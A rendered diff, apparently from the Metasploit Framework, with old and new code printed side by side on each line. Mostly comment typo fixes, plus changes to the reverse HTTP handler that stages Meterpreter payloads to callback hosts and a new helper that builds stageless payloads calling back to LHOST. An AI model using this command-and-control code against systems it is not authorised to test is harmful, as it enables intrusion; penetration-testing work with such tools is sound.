# and intialization of OFB mode blowfish cipher # and initialization of OFB mode blowfish cipher
# #
def init_ciphers(server_file, client_file) def init_ciphers(server_file, client_file)
server_public_key_cipher = OpenSSL::PKey::RSA.new(File.read(server_file)) server_public_key_cipher = OpenSSL::PKey::RSA.new(File.read(server_file))
@ -315,7 +315,7 @@ module Exploit::Remote::TincdExploitClient
end end
# #
# Ack state to signalise challenge/response was successfull # Ack state to signalize challenge/response was successful
# #
def ack def ack
vprint_status('Sending ack (signalise server that we accept challenge' + vprint_status('Sending ack (signalise server that we accept challenge' +
@ -325,7 +325,7 @@ module Exploit::Remote::TincdExploitClient
end end
# #
# Sending a packet inside the VPN connection after successfull protocol setup # Sending a packet inside the VPN connection after successful protocol setup
# #
def send_packet def send_packet
vprint_status('Protocol finished setup. Going to send packet.') vprint_status('Protocol finished setup. Going to send packet.')

View File

@ -172,7 +172,7 @@ class Framework
attr_reader :datastore attr_reader :datastore
# #
# The framework instance's aux manager. The aux manager is responsible # The framework instance's aux manager. The aux manager is responsible
# for collecting and catalogging all aux information that comes in from # for collecting and cataloging all aux information that comes in from
# aux modules. # aux modules.
# #
attr_reader :auxmgr attr_reader :auxmgr

View File

@ -77,6 +77,9 @@ module Handler
# Initialize the pending_connections counter to 0 # Initialize the pending_connections counter to 0
self.pending_connections = 0 self.pending_connections = 0
# Initialize the sessions counter to 0
self.sessions = 0
# Create the waiter event with auto_reset set to false so that # Create the waiter event with auto_reset set to false so that
# if a session is ever created, waiting on it returns immediately. # if a session is ever created, waiting on it returns immediately.
self.session_waiter_event = Rex::Sync::Event.new(false, false) self.session_waiter_event = Rex::Sync::Event.new(false, false)
@ -195,6 +198,9 @@ protected
# and any relevant information # and any relevant information
s.set_from_exploit(assoc_exploit) s.set_from_exploit(assoc_exploit)
# Pass along any associated payload uuid if specified
s.payload_uuid = opts[:payload_uuid] if opts[:payload_uuid]
# If the session is valid, register it with the framework and # If the session is valid, register it with the framework and
# notify any waiters we may have. # notify any waiters we may have.
if (s) if (s)
@ -234,10 +240,14 @@ protected
# Decrement the pending connections counter now that we've processed # Decrement the pending connections counter now that we've processed
# one session. # one session.
self.pending_connections -= 1 self.pending_connections -= 1
# Count the number of sessions we have registered
self.sessions += 1
end end
attr_accessor :session_waiter_event # :nodoc: attr_accessor :session_waiter_event # :nodoc:
attr_accessor :pending_connections # :nodoc: attr_accessor :pending_connections # :nodoc:
attr_accessor :sessions # :nodoc:
end end

View File

@ -6,7 +6,7 @@ module Handler
### ###
# #
# This handler expects a interactive TTY on the supplied socket/io object # This handler expects an interactive TTY on the supplied socket/io object
# #
### ###
module FindTty module FindTty

View File

@ -1,8 +1,11 @@
# -*- coding: binary -*- # -*- coding: binary -*-
require 'rex/io/stream_abstraction' require 'rex/io/stream_abstraction'
require 'rex/sync/ref' require 'rex/sync/ref'
require 'msf/core/handler/reverse_http/uri_checksum'
require 'rex/payloads/meterpreter/patch' require 'rex/payloads/meterpreter/patch'
require 'rex/payloads/meterpreter/uri_checksum'
require 'rex/post/meterpreter/packet'
require 'rex/parser/x509_certificate'
require 'msf/core/payload/windows/verify_ssl'
module Msf module Msf
module Handler module Handler
@ -15,7 +18,9 @@ module Handler
module ReverseHttp module ReverseHttp
include Msf::Handler include Msf::Handler
include Msf::Handler::ReverseHttp::UriChecksum include Rex::Payloads::Meterpreter::UriChecksum
include Msf::Payload::Windows::VerifySsl
include Rex::Post::Meterpreter
# #
# Returns the string representation of the handler type # Returns the string representation of the handler type
@ -88,7 +93,7 @@ module ReverseHttp
def payload_uri(req) def payload_uri(req)
if req and req.headers and req.headers['Host'] and not datastore['OverrideRequestHost'] if req and req.headers and req.headers['Host'] and not datastore['OverrideRequestHost']
callback_host = req.headers['Host'] callback_host = req.headers['Host']
elsif ipv6? elsif Rex::Socket.is_ipv6?(datastore['LHOST'])
callback_host = "[#{datastore['LHOST']}]:#{datastore['LPORT']}" callback_host = "[#{datastore['LHOST']}]:#{datastore['LPORT']}"
else else
callback_host = "#{datastore['LHOST']}:#{datastore['LPORT']}" callback_host = "#{datastore['LHOST']}:#{datastore['LPORT']}"
@ -160,7 +165,9 @@ module ReverseHttp
def stop_handler def stop_handler
if self.service if self.service
self.service.remove_resource("/") self.service.remove_resource("/")
Rex::ServiceManager.stop_service(self.service) if self.pending_connections == 0 if self.service.resources.empty? && self.sessions == 0
Rex::ServiceManager.stop_service(self.service)
end
end end
end end
@ -212,15 +219,41 @@ protected
# #
def on_request(cli, req, obj) def on_request(cli, req, obj)
resp = Rex::Proto::Http::Response.new resp = Rex::Proto::Http::Response.new
info = process_uri_resource(req.relative_resource)
uuid = info[:uuid] || Msf::Payload::UUID.new
print_status("#{cli.peerhost}:#{cli.peerport} Request received for #{req.relative_resource}...") # Configure the UUID architecture and payload if necessary
uuid.arch ||= obj.arch
uuid.platform ||= obj.platform
uri_match = process_uri_resource(req.relative_resource) conn_id = nil
if info[:mode] && info[:mode] != :connect
conn_id = generate_uri_uuid(URI_CHECKSUM_CONN, uuid)
end
self.pending_connections += 1
# Process the requested resource. # Process the requested resource.
case uri_match case info[:mode]
when /^\/INITPY/ when :init_connect
conn_id = generate_uri_checksum(URI_CHECKSUM_CONN) + "_" + Rex::Text.rand_text_alphanumeric(16) print_status("#{cli.peerhost}:#{cli.peerport} (UUID: #{uuid.to_s}) Redirecting stageless connection ...")
# Handle the case where stageless payloads call in on the same URI when they
# first connect. From there, we tell them to callback on a connect URI that
# was generated on the fly. This means we form a new session for each.
sum = uri_checksum_lookup(:connect)
new_uri = generate_uri_uuid(sum, uuid) + '/'
# This bit is going to need to be validated by the Ruby/MSF masters as I
# am not sure that this is the best way to get a TLV packet out from this
# handler.
# Hurl a TLV back at the caller, and ignore the response
pkt = Packet.new(PACKET_TYPE_RESPONSE, 'core_patch_url')
pkt.add_tlv(TLV_TYPE_TRANS_URL, new_uri)
resp.body = pkt.to_r
when :init_python
print_status("#{cli.peerhost}:#{cli.peerport} (UUID: #{uuid.to_s}) Staging Python payload ...")
url = payload_uri(req) + conn_id + '/' url = payload_uri(req) + conn_id + '/'
blob = "" blob = ""
@ -251,11 +284,11 @@ protected
:expiration => datastore['SessionExpirationTimeout'].to_i, :expiration => datastore['SessionExpirationTimeout'].to_i,
:comm_timeout => datastore['SessionCommunicationTimeout'].to_i, :comm_timeout => datastore['SessionCommunicationTimeout'].to_i,
:ssl => ssl?, :ssl => ssl?,
:payload_uuid => uuid
}) })
self.pending_connections += 1
when /^\/INITJM/ when :init_java
conn_id = generate_uri_checksum(URI_CHECKSUM_CONN) + "_" + Rex::Text.rand_text_alphanumeric(16) print_status("#{cli.peerhost}:#{cli.peerport} (UUID: #{uuid.to_s}) Staging Java payload ...")
url = payload_uri(req) + conn_id + "/\x00" url = payload_uri(req) + conn_id + "/\x00"
blob = "" blob = ""
@ -279,24 +312,27 @@ protected
:url => url, :url => url,
:expiration => datastore['SessionExpirationTimeout'].to_i, :expiration => datastore['SessionExpirationTimeout'].to_i,
:comm_timeout => datastore['SessionCommunicationTimeout'].to_i, :comm_timeout => datastore['SessionCommunicationTimeout'].to_i,
:ssl => ssl? :ssl => ssl?,
:payload_uuid => uuid
}) })
when /^\/A?INITM?/ when :init_native
conn_id = generate_uri_checksum(URI_CHECKSUM_CONN) + "_" + Rex::Text.rand_text_alphanumeric(16) print_status("#{cli.peerhost}:#{cli.peerport} (UUID: #{uuid.to_s}) Staging Native payload ...")
url = payload_uri(req) + conn_id + "/\x00" url = payload_uri(req) + conn_id + "/\x00"
print_status("#{cli.peerhost}:#{cli.peerport} Staging connection for target #{req.relative_resource} received...")
resp['Content-Type'] = 'application/octet-stream' resp['Content-Type'] = 'application/octet-stream'
blob = obj.stage_payload blob = obj.stage_payload
verify_cert_hash = get_ssl_cert_hash(datastore['StagerVerifySSLCert'],
datastore['HandlerSSLCert'])
# #
# Patch options into the payload # Patch options into the payload
# #
Rex::Payloads::Meterpreter::Patch.patch_passive_service! blob, Rex::Payloads::Meterpreter::Patch.patch_passive_service!(blob,
:ssl => ssl?, :ssl => ssl?,
:url => url, :url => url,
:ssl_cert_hash => verify_cert_hash,
:expiration => datastore['SessionExpirationTimeout'], :expiration => datastore['SessionExpirationTimeout'],
:comm_timeout => datastore['SessionCommunicationTimeout'], :comm_timeout => datastore['SessionCommunicationTimeout'],
:ua => datastore['MeterpreterUserAgent'], :ua => datastore['MeterpreterUserAgent'],
@ -304,7 +340,7 @@ protected
:proxy_port => datastore['PayloadProxyPort'], :proxy_port => datastore['PayloadProxyPort'],
:proxy_type => datastore['PayloadProxyType'], :proxy_type => datastore['PayloadProxyType'],
:proxy_user => datastore['PayloadProxyUser'], :proxy_user => datastore['PayloadProxyUser'],
:proxy_pass => datastore['PayloadProxyPass'] :proxy_pass => datastore['PayloadProxyPass'])
resp.body = encode_stage(blob) resp.body = encode_stage(blob)
@ -316,14 +352,14 @@ protected
:expiration => datastore['SessionExpirationTimeout'].to_i, :expiration => datastore['SessionExpirationTimeout'].to_i,
:comm_timeout => datastore['SessionCommunicationTimeout'].to_i, :comm_timeout => datastore['SessionCommunicationTimeout'].to_i,
:ssl => ssl?, :ssl => ssl?,
:payload_uuid => uuid
}) })
when /^\/CONN_.*\// when :connect
resp.body = "" print_status("#{cli.peerhost}:#{cli.peerport} (UUID: #{uuid.to_s}) Attaching orphaned/stageless session ...")
# Grab the checksummed version of CONN from the payload's request.
conn_id = req.relative_resource.gsub("/", "")
print_status("Incoming orphaned or stageless session #{conn_id}, attaching...") resp.body = ""
conn_id = req.relative_resource
# Short-circuit the payload's handle_connection processing for create_session # Short-circuit the payload's handle_connection processing for create_session
create_session(cli, { create_session(cli, {
@ -333,13 +369,15 @@ protected
:expiration => datastore['SessionExpirationTimeout'].to_i, :expiration => datastore['SessionExpirationTimeout'].to_i,
:comm_timeout => datastore['SessionCommunicationTimeout'].to_i, :comm_timeout => datastore['SessionCommunicationTimeout'].to_i,
:ssl => ssl?, :ssl => ssl?,
:payload_uuid => uuid
}) })
else else
print_status("#{cli.peerhost}:#{cli.peerport} Unknown request to #{uri_match} #{req.inspect}...") print_status("#{cli.peerhost}:#{cli.peerport} Unknown request to #{req.relative_resource} #{req.inspect}...")
resp.code = 200 resp.code = 200
resp.message = "OK" resp.message = "OK"
resp.body = datastore['HttpUnknownRequestResponse'].to_s resp.body = datastore['HttpUnknownRequestResponse'].to_s
self.pending_connections -= 1
end end
cli.send_response(resp) if (resp) cli.send_response(resp) if (resp)

View File

@ -0,0 +1,73 @@
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
require 'rex/parser/x509_certificate'
require 'msf/core/payload/uuid_options'
module Msf
##
#
# Helper functionality for handling of stageless http(s) payloads
#
##
module Handler::ReverseHttp::Stageless
include Msf::Payload::Windows::VerifySsl
include Msf::Payload::UUIDOptions
def initialize_stageless
register_options([
OptString.new('EXTENSIONS', [false, "Comma-separated list of extensions to load"]),
], self.class)
end
def generate_stageless(opts={})
unless opts[:generator]
raise ArgumentError, "Stageless generation requires a generator argument"
end
if opts[:ssl].nil?
raise ArgumentError, "Stageless generation requires an ssl argument"
end
host = datastore['LHOST']
host = "[#{host}]" if Rex::Socket.is_ipv6?(host)
url = "http#{opts[:ssl] ? "s" : ""}://#{host}:#{datastore['LPORT']}"
# Use the init_connect mode because we're stageless. This will force
# MSF to generate a new URI when the first request is made.
url << "#{generate_uri_uuid_mode(:init_connect)}/"
# invoke the given function to generate the architecture specific payload
opts[:generator].call(url) do |dll|
verify_cert_hash = nil
if opts[:ssl]
verify_cert_hash = get_ssl_cert_hash(datastore['StagerVerifySSLCert'],
datastore['HandlerSSLCert'])
end
Rex::Payloads::Meterpreter::Patch.patch_passive_service!(dll,
:url => url,
:ssl => opts[:ssl],
:ssl_cert_hash => verify_cert_hash,
:expiration => datastore['SessionExpirationTimeout'].to_i,
:comm_timeout => datastore['SessionCommunicationTimeout'].to_i,
:ua => datastore['MeterpreterUserAgent'],
:proxy_host => datastore['PayloadProxyHost'],
:proxy_port => datastore['PayloadProxyPort'],
:proxy_type => datastore['PayloadProxyType'],
:proxy_user => datastore['PayloadProxyUser'],
:proxy_pass => datastore['PayloadProxyPass'])
end
end
end
end

View File

@ -1,128 +0,0 @@
# -*- coding: binary -*-
module Msf
module Handler
module ReverseHttp
module UriChecksum
#
# Define 8-bit checksums for matching URLs
# These are based on charset frequency
#
URI_CHECKSUM_INITW = 92 # Windows
URI_CHECKSUM_INITP = 80 # Python
URI_CHECKSUM_INITJ = 88 # Java
URI_CHECKSUM_CONN = 98
#
# Precalculated checkums as fallback
#
URI_CHECKSUM_PRECALC = [
"Zjjaq", "pIlfv", "UvoxP", "sqnx9", "zvoVO", "Pajqy", "7ziuw", "vecYp", "yfHsn", "YLzzp",
"cEzvr", "abmri", "9tvwr", "vTarp", "ocrgc", "mZcyl", "xfcje", "nihqa", "40F17", "zzTWt",
"E3192", "wygVh", "pbqij", "rxdVs", "ajtsf", "wvuOh", "hwRwr", "pUots", "rvzoK", "vUwby",
"tLzyk", "zxbuV", "niaoy", "ukxtU", "vznoU", "zuxyC", "ymvag", "Jxtxw", "404KC", "DE563",
"0A7G9", "yorYv", "zzuqP", "czhwo", "949N8", "a1560", "5A2S3", "Q652A", "KR201", "uixtg",
"U0K02", "4EO56", "H88H4", "5M8E6", "zudkx", "ywlsh", "luqmy", "09S4I", "L0GG0", "V916E",
"KFI11", "A4BN8", "C3E2Q", "UN804", "E75HG", "622eB", "1OZ71", "kynyx", "0RE7F", "F8CR2",
"1Q2EM", "txzjw", "5KD1S", "GLR40", "11BbD", "MR8B2", "X4V55", "W994P", "13d2T", "6J4AZ",
"HD2EM", "766bL", "8S4MF", "MBX39", "UJI57", "eIA51", "9CZN2", "WH6AA", "a6BF9", "8B1Gg",
"J2N6Z", "144Kw", "7E37v", "9I7RR", "PE6MF", "K0c4M", "LR3IF", "38p3S", "39ab3", "O0dO1",
"k8H8A", "0Fz3B", "o1PE1", "h7OI0", "C1COb", "bMC6A", "8fU4C", "3IMSO", "8DbFH", "2YfG5",
"bEQ1E", "MU6NI", "UCENE", "WBc0E", "T1ATX", "tBL0A", "UGPV2", "j3CLI", "7FXp1", "yN07I",
"YE6k9", "KTMHE", "a7VBJ", "0Uq3R", "70Ebn", "H2PqB", "83edJ", "0w5q2", "72djI", "wA5CQ",
"KF0Ix", "i7AZH", "M9tU5", "Hs3RE", "F9m1i", "7ecBF", "zS31W", "lUe21", "IvCS5", "j97nC",
"CNtR5", "1g8gV", "7KwNG", "DB7hj", "ORFr7", "GCnUD", "K58jp", "5lKo8", "GPIdP", "oMIFJ",
"2xYb1", "LQQPY", "FGQlN", "l5COf", "dA3Tn", "v9RWC", "VuAGI", "3vIr9", "aO3zA", "CIfx5",
"Gk6Uc", "pxL94", "rKYJB", "TXAFp", "XEOGq", "aBOiJ", "qp6EJ", "YGbq4", "dR8Rh", "g0SVi",
"iMr6L", "HMaIl", "yOY1Z", "UXr5Y", "PJdz6", "OQdt7", "EmZ1s", "aLIVe", "cIeo2", "mTTNP",
"eVKy5", "hf5Co", "gFHzG", "VhTWN", "DvAWf", "RgFJp", "MoaXE", "Mrq4W", "hRQAp", "hAzYA",
"oOSWV", "UKMme", "oP0Zw", "Mxd6b", "RsRCh", "dlk7Q", "YU6zf", "VPDjq", "ygERO", "dZZcL",
"dq5qM", "LITku", "AZIxn", "bVwPL", "jGvZK", "XayKP", "rTYVY", "Vo2ph", "dwJYR", "rLTlS",
"BmsfJ", "Dyv1o", "j9Hvs", "w0wVa", "iDnBy", "uKEgk", "uosI8", "2yjuO", "HiOue", "qYi4t",
"7nalj", "ENekz", "rxca0", "rrePF", "cXmtD", "Xlr2y", "S7uxk", "wJqaP", "KmYyZ", "cPryG",
"kYcwH", "FtDut", "xm1em", "IaymY", "fr6ew", "ixDSs", "YigPs", "PqwBs", "y2rkf", "vwaTM",
"aq7wp", "fzc4z", "AyzmQ", "epJbr", "culLd", "CVtnz", "tPjPx", "nfry8", "Nkpif", "8kuzg",
"zXvz8", "oVQly", "1vpnw", "jqaYh", "2tztj", "4tslx"
]
# Map "random" URIs to static strings, allowing us to randomize
# the URI sent in the first request.
#
# @param uri_match [String] The URI string to convert back to the original static value
# @return [String] The static URI value derived from the checksum
def process_uri_resource(uri_match)
# This allows 'random' strings to be used as markers for
# the INIT and CONN request types, based on a checksum
uri_strip, uri_conn = uri_match.split('_', 2)
uri_strip.sub!(/^\//, '')
uri_check = Rex::Text.checksum8(uri_strip)
# Match specific checksums and map them to static URIs
case uri_check
when URI_CHECKSUM_INITW
uri_match = "/INITM"
when URI_CHECKSUM_INITP
uri_match = "/INITPY"
when URI_CHECKSUM_INITJ
uri_match = "/INITJM"
when URI_CHECKSUM_CONN
uri_match = "/CONN_" + ( uri_conn || Rex::Text.rand_text_alphanumeric(16) )
end
uri_match
end
# Create a URI that matches a given checksum
#
# @param sum [Fixnum] The checksum value you are trying to create a URI for
# @param len [Fixnum] An optional length value for the created URI
# @return [String] The URI string that checksums to the given value
def generate_uri_checksum(sum,len=nil)
return generate_uri_checksum_with_length(sum, len) if len
chk = ("a".."z").to_a + ("A".."Z").to_a + ("0".."9").to_a
32.times do
uri = Rex::Text.rand_text_alphanumeric(3)
chk.sort_by {rand}.each do |x|
return(uri + x) if Rex::Text.checksum8(uri + x) == sum
end
end
# Otherwise return one of the pre-calculated strings
return URI_CHECKSUM_PRECALC[sum]
end
# Create an arbitrary length URI that matches a given checksum
#
# @param sum [Fixnum] The checksum value you are trying to create a URI for
# @param len [Fixnum] The length of the created URI
# @return [String] The URI string that checksums to the given value
def generate_uri_checksum_with_length(sum, len)
# Lengths shorter than 4 bytes are unable to match all possible checksums
# Lengths of exactly 4 are relatively slow to find for high checksum values
# Lengths of 5 or more bytes find a matching checksum fairly quickly (~80ms)
raise ArgumentError, "Length must be 5 bytes or greater" if len < 5
# Funny enough, this was more efficient than calculating checksum offsets
if len < 40
loop do
uri = Rex::Text.rand_text_alphanumeric(len)
return uri if Rex::Text.checksum8(uri) == sum
end
end
# The rand_text_alphanumeric() method becomes a bottleneck at around 40 bytes
# Calculating a static prefix flattens out the average runtime for longer URIs
prefix = Rex::Text.rand_text_alphanumeric(len-20)
loop do
uri = prefix + Rex::Text.rand_text_alphanumeric(20)
return uri if Rex::Text.checksum8(uri) == sum
end
end
end
end
end
end

View File

@ -43,7 +43,8 @@ module ReverseHttps
register_advanced_options( register_advanced_options(
[ [
OptPath.new('HandlerSSLCert', [false, "Path to a SSL certificate in unified PEM format"]) OptPath.new('HandlerSSLCert', [false, "Path to a SSL certificate in unified PEM format"]),
OptBool.new('StagerVerifySSLCert', [false, "Whether to verify the SSL certificate in Meterpreter"])
], Msf::Handler::ReverseHttps) ], Msf::Handler::ReverseHttps)
end end

View File

@ -3,11 +3,13 @@ require 'msf/core'
module Msf module Msf
autoload :OptionContainer, 'msf/core/option_container'
### ###
# #
# The module base class is responsible for providing the common interface # The module base class is responsible for providing the common interface
# that is used to interact with modules at the most basic levels, such as # that is used to interact with modules at the most basic levels, such as
# by inspecting a given module's attributes (name, dsecription, version, # by inspecting a given module's attributes (name, description, version,
# authors, etc) and by managing the module's data store. # authors, etc) and by managing the module's data store.
# #
### ###
@ -57,6 +59,10 @@ class Module
# datastore, consumed by #replicant to allow clean override of MSF module methods. # datastore, consumed by #replicant to allow clean override of MSF module methods.
REPLICANT_EXTENSION_DS_KEY = 'ReplicantExtensions' REPLICANT_EXTENSION_DS_KEY = 'ReplicantExtensions'
# The set of keys in {#user_data} that make {#user_data_is_match?} return
# true
MATCH_KEYS = Set.new([ :match, :match_set, :run ])
# Make include public so we can runtime extend # Make include public so we can runtime extend
public_class_method :include public_class_method :include
@ -272,12 +278,31 @@ class Module
end end
# #
# Support fail_with for all module types, allow specific classes to override # Raises a RuntimeError failure message. This is meant to be used for all non-exploits,
# and allows specific classes to override.
#
# @param reason [String] A reason about the failure.
# @param msg [String] (Optional) A message about the failure.
# @raise [RuntimeError]
# @return [void]
# @note If you are writing an exploit, you don't use this API. Instead, please refer to the
# API documentation from lib/msf/core/exploit.rb.
# @see Msf::Exploit#fail_with
# @example
# fail_with('No Access', 'Unable to login')
# #
def fail_with(reason, msg=nil) def fail_with(reason, msg=nil)
raise RuntimeError, "#{reason.to_s}: #{msg}" raise RuntimeError, "#{reason.to_s}: #{msg}"
end end
# Whether {#user_data} contains everything necessary to make a
# `MetasploitDataModels::AutomaticExploitation::MatchResult`
#
# @return [bool]
def user_data_is_match?
user_data.kind_of?(Hash) && Set.new(user_data.keys).superset?(MATCH_KEYS)
end
## ##
# #
# Just some handy quick checks # Just some handy quick checks
@ -295,6 +320,7 @@ class Module
# The array of zero or more platforms. # The array of zero or more platforms.
# #
attr_reader :platform attr_reader :platform
# #
# The reference count for the module. # The reference count for the module.
# #
@ -315,6 +341,15 @@ class Module
# #
attr_accessor :error attr_accessor :error
# An opaque bag of data to attach to a module. This is useful for attaching
# some piece of identifying info on to a module before calling
# {Msf::Simple::Exploit#exploit_simple} or
# {Msf::Simple::Auxiliary#run_simple} for correlating where modules came
# from.
#
# @see #user_data_is_match?
attr_accessor :user_data
protected protected
# #

View File

@ -12,7 +12,7 @@ module Msf::Module::FullName
# @attribute refname # @attribute refname
# The module's name that is assigned it it by the framework # The module's name that is assigned to it by the framework
# or derived from the path that the module is loaded from. # or derived from the path that the module is loaded from.
attr_accessor :refname attr_accessor :refname
@ -64,4 +64,4 @@ module Msf::Module::FullName
def shortname def shortname
self.class.shortname self.class.shortname
end end
end end

View File

@ -10,7 +10,7 @@ require 'abbrev'
class Msf::Module::Platform class Msf::Module::Platform
Rank = 0 Rank = 0
# actually, having a argument of '' is what to do for wanting 'all' # actually, having an argument of '' is what to do for wanting 'all'
Short = "all" Short = "all"
class << self class << self
@ -18,7 +18,7 @@ class Msf::Module::Platform
end end
# #
# Returns the "real" name of the module instance, accouting for potentially # Returns the "real" name of the module instance, accounting for potentially
# aliased class names. # aliased class names.
# #
def self.realname def self.realname

View File

@ -2,7 +2,7 @@
# -*- coding: binary -*- # -*- coding: binary -*-
# #
# This is a helper to a easy way to specify support platforms. It will take a # This is a helper to an easy way to specify support platforms. It will take a
# list of strings or Msf::Module::Platform objects and build them into a list # list of strings or Msf::Module::Platform objects and build them into a list
# of Msf::Module::Platform objects. It also supports ranges based on relative # of Msf::Module::Platform objects. It also supports ranges based on relative
# ranks... # ranks...

Some files were not shown because too many files have changed in this diff Show More